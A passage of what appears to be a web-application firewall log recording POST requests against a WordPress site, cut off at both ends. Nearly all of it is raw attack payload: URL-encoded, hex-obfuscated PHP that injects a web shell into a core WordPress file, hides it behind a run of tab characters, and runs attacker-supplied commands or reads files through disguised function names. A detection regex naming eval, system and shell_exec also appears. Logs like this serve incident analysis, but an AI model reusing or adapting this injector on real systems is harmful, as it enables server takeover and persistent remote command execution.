%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent2.%2524ent9.%2524ent3.%2524ent1.%2524ent3.%2524ent7.%25276%2527.%2527f%2527.%2524ent2.%25273%2527.%2524ent3.%2524ent6%2529%253B%2524app_initializer%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%2524ent13.%25277%2527.%25270%2527.%2524ent2.%25270%2527.%2524ent6.%2524ent8.%2524ent3.%25279%2527.%25276%2527.%2527e%2527.%25276%2527.%2524ent14.%2524ent2.%2524ent10.%2524ent3.%25279%2527.%2524ent3.%2524ent13.%2524ent3.%2527c%2527.%2524ent3.%25279%2527.%2524ent2.%2527a%2527.%25276%2527.%2524ent6.%2524ent2.%25272%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524app_initializer%255D%2529%2529%257B%2524app_initializer%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524app_initializer%255D%2529%253Bif%2528function_exists%2528%2524hub_center1%2529%2529%257B%2524hub_center1%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524hub_center2%2529%2529%257Bprint%2520%2524hub_center2%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524hub_center3%2529%2529%257B%2524hub_center3%2528%2524app_initializer%252C%2524hld_value%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524hld_value%2529%253B%257Delseif%2528function_exists%2528%2524hub_center4%2529%2529%257B%2524hub_center4%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524hub_center5%2529%2526%2526function_exists%2528%2524hub_center6%2529%2526%2526function_exists%2528%2524hub_center7%2529%2529%257B%2524ent_property_set%253D%2524hub_center5%2528%2524app_initializer%252C%2522r%2522%2529%253Bif%2528%2524ent_property_set%2529%257B%2524flg_fac%253D%2524hub_center6%2528%2524ent_property_set%2529%253B%2524hub_center7%2528%2524ent_property_set%2529%253Bprint%2520%2524flg_fac%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:52:06","51.38.81.255","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> AS:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-object-cache.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524ent1%2520%253D%2520%25273%2527%253B%2524ent2%2520%253D%2520%25277%2527%253B%2524ent3%2520%253D%2520%25276%2527%253B%2524ent4%2520%253D%2520%2527d%2527%253B%2524ent5%2520%253D%2520%25278%2527%253B%2524ent6%2520%253D%2520%25275%2527%253B%2524ent7%2520%253D%2520%2527c%2527%253B%2524ent8%2520%253D%2520%2527f%2527%253B%2524ent9%2520%253D%2520%25270%2527%253B%2524ent10%2520%253D%2520%25274%2527%253B%2524ent11%2520%253D%2520%2527e%2527%253B%2524ent12%2520%253D%2520%25272%2527%253B%2524ent13%2520%253D%2520%25271%2527%253B%2524ent14%2520%253D%2520%25279%2527%253B%2524hub_center1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524ent1.%2524ent2.%25279%2527.%25277%2527.%25273%2527.%2524ent2.%25274%2527.%2524ent3.%25275%2527.%25276%2527.%2524ent4%2529%253B%2524hub_center2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent2.%2524ent1.%2524ent3.%2524ent5.%2524ent3.%2524ent6.%25276%2527.%2524ent7.%25276%2527.%2527c%2527.%25275%2527.%2524ent8.%2524ent3.%25275%2527.%25277%2527.%2524ent5.%25276%2527.%2524ent6.%2524ent3.%25273%2527%2529%253B%2524hub_center3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%2524ent6.%2524ent2.%25278%2527.%25276%2527.%2524ent6.%25276%2527.%25273%2527%2529%253B%2524hub_center4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524ent9.%25276%2527.%25271%2527.%2524ent2.%25273%2527.%2524ent2.%2524ent1.%25277%2527.%2524ent10.%25276%2527.%25278%2527.%2524ent2.%25272%2527.%2524ent2.%25275%2527%2529%253B%2524hub_center5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%2524ent3.%2524ent8.%25277%2527.%2524ent9.%25276%2527.%2524ent6.%25276%2527.%2524ent11%2529%253B%2524hub_center6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent2.%25273%2527.%25277%2527.%2524ent10.%2524ent2.%2524ent12.%25276%2527.%2524ent6.%2524ent3.%25271%2527.%25276%2527.%2527d%2527.%25275%2527.%2527f%2527.%2524ent3.%25277%2527.%2524ent3.%25275%2527.%2524ent2.%25274%2527.%25275%2527.%2524ent8.%25276%2527.%2524ent1.%25276%2527.%2524ent8.%2524ent3.%2527e%2527.%2524ent2.%25274%2527.%25276%2527.%25275%2527.%25276%2527.%2524ent11.%25277%2527.%25274%2527.%25277%2527.%2524ent1%2529%253B%2524hub_center7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent2.%2524ent9.%2524ent3.%2524ent1.%2524ent3.%2524ent7.%25276%2527.%2527f%2527.%2524ent2.%25273%2527.%2524ent3.%2524ent6%2529%253B%2524app_initializer%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%2524ent13.%25277%2527.%25270%2527.%2524ent2.%25270%2527.%2524ent6.%2524ent8.%2524ent3.%25279%2527.%25276%2527.%2527e%2527.%25276%2527.%2524ent14.%2524ent2.%2524ent10.%2524ent3.%25279%2527.%2524ent3.%2524ent13.%2524ent3.%2527c%2527.%2524ent3.%25279%2527.%2524ent2.%2527a%2527.%25276%2527.%2524ent6.%2524ent2.%25272%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524app_initializer%255D%2529%2529%257B%2524app_initializer%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524app_initializer%255D%2529%253Bif%2528function_exists%2528%2524hub_center1%2529%2529%257B%2524hub_center1%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524hub_center2%2529%2529%257Bprint%2520%2524hub_center2%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524hub_center3%2529%2529%257B%2524hub_center3%2528%2524app_initializer%252C%2524hld_value%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524hld_value%2529%253B%257Delseif%2528function_exists%2528%2524hub_center4%2529%2529%257B%2524hub_center4%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524hub_center5%2529%2526%2526function_exists%2528%2524hub_center6%2529%2526%2526function_exists%2528%2524hub_center7%2529%2529%257B%2524ent_property_set%253D%2524hub_center5%2528%2524app_initializer%252C%2522r%2522%2529%253Bif%2528%2524ent_property_set%2529%257B%2524flg_fac%253D%2524hub_center6%2528%2524ent_property_set%2529%253B%2524hub_center7%2528%2524ent_property_set%2529%253Bprint%2520%2524flg_fac%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:7043\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-encoding:gzip,deflate\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDIZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9uqKEbMKuwMKO0nJ9hplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-site:none\n\nAS=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-object-cache.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524ent1%2520%253D%2520%25273%2527%253B%2524ent2%2520%253D%2520%25277%2527%253B%2524ent3%2520%253D%2520%25276%2527%253B%2524ent4%2520%253D%2520%2527d%2527%253B%2524ent5%2520%253D%2520%25278%2527%253B%2524ent6%2520%253D%2520%25275%2527%253B%2524ent7%2520%253D%2520%2527c%2527%253B%2524ent8%2520%253D%2520%2527f%2527%253B%2524ent9%2520%253D%2520%25270%2527%253B%2524ent10%2520%253D%2520%25274%2527%253B%2524ent11%2520%253D%2520%2527e%2527%253B%2524ent12%2520%253D%2520%25272%2527%253B%2524ent13%2520%253D%2520%25271%2527%253B%2524ent14%2520%253D%2520%25279%2527%253B%2524hub_center1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524ent1.%2524ent2.%25279%2527.%25277%2527.%25273%2527.%2524ent2.%25274%2527.%2524ent3.%25275%2527.%25276%2527.%2524ent4%2529%253B%2524hub_center2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent2.%2524ent1.%2524ent3.%2524ent5.%2524ent3.%2524ent6.%25276%2527.%2524ent7.%25276%2527.%2527c%2527.%25275%2527.%2524ent8.%2524ent3.%25275%2527.%25277%2527.%2524ent5.%25276%2527.%2524ent6.%2524ent3.%25273%2527%2529%253B%2524hub_center3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%2524ent6.%2524ent2.%25278%2527.%25276%2527.%2524ent6.%25276%2527.%25273%2527%2529%253B%2524hub_center4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524ent9.%25276%2527.%25271%2527.%2524ent2.%25273%2527.%2524ent2.%2524ent1.%25277%2527.%2524ent10.%25276%2527.%25278%2527.%2524ent2.%25272%2527.%2524ent2.%25275%2527%2529%253B%2524hub_center5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%2524ent3.%2524ent8.%25277%2527.%2524ent9.%25276%2527.%2524ent6.%25276%2527.%2524ent11%2529%253B%2524hub_center6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent2.%25273%2527.%25277%2527.%2524ent10.%2524ent2.%2524ent12.%25276%2527.%2524ent6.%2524ent3.%25271%2527.%25276%2527.%2527d%2527.%25275%2527.%2527f%2527.%2524ent3.%25277%2527.%2524ent3.%25275%2527.%2524ent2.%25274%2527.%25275%2527.%2524ent8.%25276%2527.%2524ent1.%25276%2527.%2524ent8.%2524ent3.%2527e%2527.%2524ent2.%25274%2527.%25276%2527.%25275%2527.%25276%2527.%2524ent11.%25277%2527.%25274%2527.%25277%2527.%2524ent1%2529%253B%2524hub_center7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent2.%2524ent9.%2524ent3.%2524ent1.%2524ent3.%2524ent7.%25276%2527.%2527f%2527.%2524ent2.%25273%2527.%2524ent3.%2524ent6%2529%253B%2524app_initializer%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%2524ent13.%25277%2527.%25270%2527.%2524ent2.%25270%2527.%2524ent6.%2524ent8.%2524ent3.%25279%2527.%25276%2527.%2527e%2527.%25276%2527.%2524ent14.%2524ent2.%2524ent10.%2524ent3.%25279%2527.%2524ent3.%2524ent13.%2524ent3.%2527c%2527.%2524ent3.%25279%2527.%2524ent2.%2527a%2527.%25276%2527.%2524ent6.%2524ent2.%25272%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524app_initializer%255D%2529%2529%257B%2524app_initializer%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524app_initializer%255D%2529%253Bif%2528function_exists%2528%2524hub_center1%2529%2529%257B%2524hub_center1%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524hub_center2%2529%2529%257Bprint%2520%2524hub_center2%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524hub_center3%2529%2529%257B%2524hub_center3%2528%2524app_initializer%252C%2524hld_value%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524hld_value%2529%253B%257Delseif%2528function_exists%2528%2524hub_center4%2529%2529%257B%2524hub_center4%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524hub_center5%2529%2526%2526function_exists%2528%2524hub_center6%2529%2526%2526function_exists%2528%2524hub_center7%2529%2529%257B%2524ent_property_set%253D%2524hub_center5%2528%2524app_initializer%252C%2522r%2522%2529%253Bif%2528%2524ent_property_set%2529%257B%2524flg_fac%253D%2524hub_center6%2528%2524ent_property_set%2529%253B%2524hub_center7%2528%2524ent_property_set%2529%253Bprint%2520%2524flg_fac%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:52:08","89.167.82.230","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-object-cache.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524ent1%2520%253D%2520%25273%2527%253B%2524ent2%2520%253D%2520%25277%2527%253B%2524ent3%2520%253D%2520%25276%2527%253B%2524ent4%2520%253D%2520%2527d%2527%253B%2524ent5%2520%253D%2520%25278%2527%253B%2524ent6%2520%253D%2520%25275%2527%253B%2524ent7%2520%253D%2520%2527c%2527%253B%2524ent8%2520%253D%2520%2527f%2527%253B%2524ent9%2520%253D%2520%25270%2527%253B%2524ent10%2520%253D%2520%25274%2527%253B%2524ent11%2520%253D%2520%2527e%2527%253B%2524ent12%2520%253D%2520%25272%2527%253B%2524ent13%2520%253D%2520%25271%2527%253B%2524ent14%2520%253D%2520%25279%2527%253B%2524hub_center1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524ent1.%2524ent2.%25279%2527.%25277%2527.%25273%2527.%2524ent2.%25274%2527.%2524ent3.%25275%2527.%25276%2527.%2524ent4%2529%253B%2524hub_center2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent2.%2524ent1.%2524ent3.%2524ent5.%2524ent3.%2524ent6.%25276%2527.%2524ent7.%25276%2527.%2527c%2527.%25275%2527.%2524ent8.%2524ent3.%25275%2527.%25277%2527.%2524ent5.%25276%2527.%2524ent6.%2524ent3.%25273%2527%2529%253B%2524hub_center3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%2524ent6.%2524ent2.%25278%2527.%25276%2527.%2524ent6.%25276%2527.%25273%2527%2529%253B%2524hub_center4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524ent9.%25276%2527.%25271%2527.%2524ent2.%25273%2527.%2524ent2.%2524ent1.%25277%2527.%2524ent10.%25276%2527.%25278%2527.%2524ent2.%25272%2527.%2524ent2.%25275%2527%2529%253B%2524hub_center5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%2524ent3.%2524ent8.%25277%2527.%2524ent9.%25276%2527.%2524ent6.%25276%2527.%2524ent11%2529%253B%2524hub_center6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent2.%25273%2527.%25277%2527.%2524ent10.%2524ent2.%2524ent12.%25276%2527.%2524ent6.%2524ent3.%25271%2527.%25276%2527.%2527d%2527.%25275%2527.%2527f%2527.%2524ent3.%25277%2527.%2524ent3.%25275%2527.%2524ent2.%25274%2527.%25275%2527.%2524ent8.%25276%2527.%2524ent1.%25276%2527.%2524ent8.%2524ent3.%2527e%2527.%2524ent2.%25274%2527.%25276%2527.%25275%2527.%25276%2527.%2524ent11.%25277%2527.%25274%2527.%25277%2527.%2524ent1%2529%253B%2524hub_center7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent2.%2524ent9.%2524ent3.%2524ent1.%2524ent3.%2524ent7.%25276%2527.%2527f%2527.%2524ent2.%25273%2527.%2524ent3.%2524ent6%2529%253B%2524app_initializer%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%2524ent13.%25277%2527.%25270%2527.%2524ent2.%25270%2527.%2524ent6.%2524ent8.%2524ent3.%25279%2527.%25276%2527.%2527e%2527.%25276%2527.%2524ent14.%2524ent2.%2524ent10.%2524ent3.%25279%2527.%2524ent3.%2524ent13.%2524ent3.%2527c%2527.%2524ent3.%25279%2527.%2524ent2.%2527a%2527.%25276%2527.%2524ent6.%2524ent2.%25272%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524app_initializer%255D%2529%2529%257B%2524app_initializer%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524app_initializer%255D%2529%253Bif%2528function_exists%2528%2524hub_center1%2529%2529%257B%2524hub_center1%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524hub_center2%2529%2529%257Bprint%2520%2524hub_center2%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524hub_center3%2529%2529%257B%2524hub_center3%2528%2524app_initializer%252C%2524hld_value%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524hld_value%2529%253B%257Delseif%2528function_exists%2528%2524hub_center4%2529%2529%257B%2524hub_center4%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524hub_center5%2529%2526%2526function_exists%2528%2524hub_center6%2529%2526%2526function_exists%2528%2524hub_center7%2529%2529%257B%2524ent_property_set%253D%2524hub_center5%2528%2524app_initializer%252C%2522r%2522%2529%253Bif%2528%2524ent_property_set%2529%257B%2524flg_fac%253D%2524hub_center6%2528%2524ent_property_set%2529%253B%2524hub_center7%2528%2524ent_property_set%2529%253Bprint%2520%2524flg_fac%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nhost:dewenlabels.com\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\ncontent-length:7066\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\naccept-encoding:gzip,deflate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nsec-fetch-site:none\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-object-cache.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524ent1%2520%253D%2520%25273%2527%253B%2524ent2%2520%253D%2520%25277%2527%253B%2524ent3%2520%253D%2520%25276%2527%253B%2524ent4%2520%253D%2520%2527d%2527%253B%2524ent5%2520%253D%2520%25278%2527%253B%2524ent6%2520%253D%2520%25275%2527%253B%2524ent7%2520%253D%2520%2527c%2527%253B%2524ent8%2520%253D%2520%2527f%2527%253B%2524ent9%2520%253D%2520%25270%2527%253B%2524ent10%2520%253D%2520%25274%2527%253B%2524ent11%2520%253D%2520%2527e%2527%253B%2524ent12%2520%253D%2520%25272%2527%253B%2524ent13%2520%253D%2520%25271%2527%253B%2524ent14%2520%253D%2520%25279%2527%253B%2524hub_center1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524ent1.%2524ent2.%25279%2527.%25277%2527.%25273%2527.%2524ent2.%25274%2527.%2524ent3.%25275%2527.%25276%2527.%2524ent4%2529%253B%2524hub_center2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent2.%2524ent1.%2524ent3.%2524ent5.%2524ent3.%2524ent6.%25276%2527.%2524ent7.%25276%2527.%2527c%2527.%25275%2527.%2524ent8.%2524ent3.%25275%2527.%25277%2527.%2524ent5.%25276%2527.%2524ent6.%2524ent3.%25273%2527%2529%253B%2524hub_center3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%2524ent6.%2524ent2.%25278%2527.%25276%2527.%2524ent6.%25276%2527.%25273%2527%2529%253B%2524hub_center4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524ent9.%25276%2527.%25271%2527.%2524ent2.%25273%2527.%2524ent2.%2524ent1.%25277%2527.%2524ent10.%25276%2527.%25278%2527.%2524ent2.%25272%2527.%2524ent2.%25275%2527%2529%253B%2524hub_center5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%2524ent3.%2524ent8.%25277%2527.%2524ent9.%25276%2527.%2524ent6.%25276%2527.%2524ent11%2529%253B%2524hub_center6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent2.%25273%2527.%25277%2527.%2524ent10.%2524ent2.%2524ent12.%25276%2527.%2524ent6.%2524ent3.%25271%2527.%25276%2527.%2527d%2527.%25275%2527.%2527f%2527.%2524ent3.%25277%2527.%2524ent3.%25275%2527.%2524ent2.%25274%2527.%25275%2527.%2524ent8.%25276%2527.%2524ent1.%25276%2527.%2524ent8.%2524ent3.%2527e%2527.%2524ent2.%25274%2527.%25276%2527.%25275%2527.%25276%2527.%2524ent11.%25277%2527.%25274%2527.%25277%2527.%2524ent1%2529%253B%2524hub_center7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent2.%2524ent9.%2524ent3.%2524ent1.%2524ent3.%2524ent7.%25276%2527.%2527f%2527.%2524ent2.%25273%2527.%2524ent3.%2524ent6%2529%253B%2524app_initializer%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%2524ent13.%25277%2527.%25270%2527.%2524ent2.%25270%2527.%2524ent6.%2524ent8.%2524ent3.%25279%2527.%25276%2527.%2527e%2527.%25276%2527.%2524ent14.%2524ent2.%2524ent10.%2524ent3.%25279%2527.%2524ent3.%2524ent13.%2524ent3.%2527c%2527.%2524ent3.%25279%2527.%2524ent2.%2527a%2527.%25276%2527.%2524ent6.%2524ent2.%25272%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524app_initializer%255D%2529%2529%257B%2524app_initializer%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524app_initializer%255D%2529%253Bif%2528function_exists%2528%2524hub_center1%2529%2529%257B%2524hub_center1%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524hub_center2%2529%2529%257Bprint%2520%2524hub_center2%2528%2524app_initializer%2529%253B%257Dels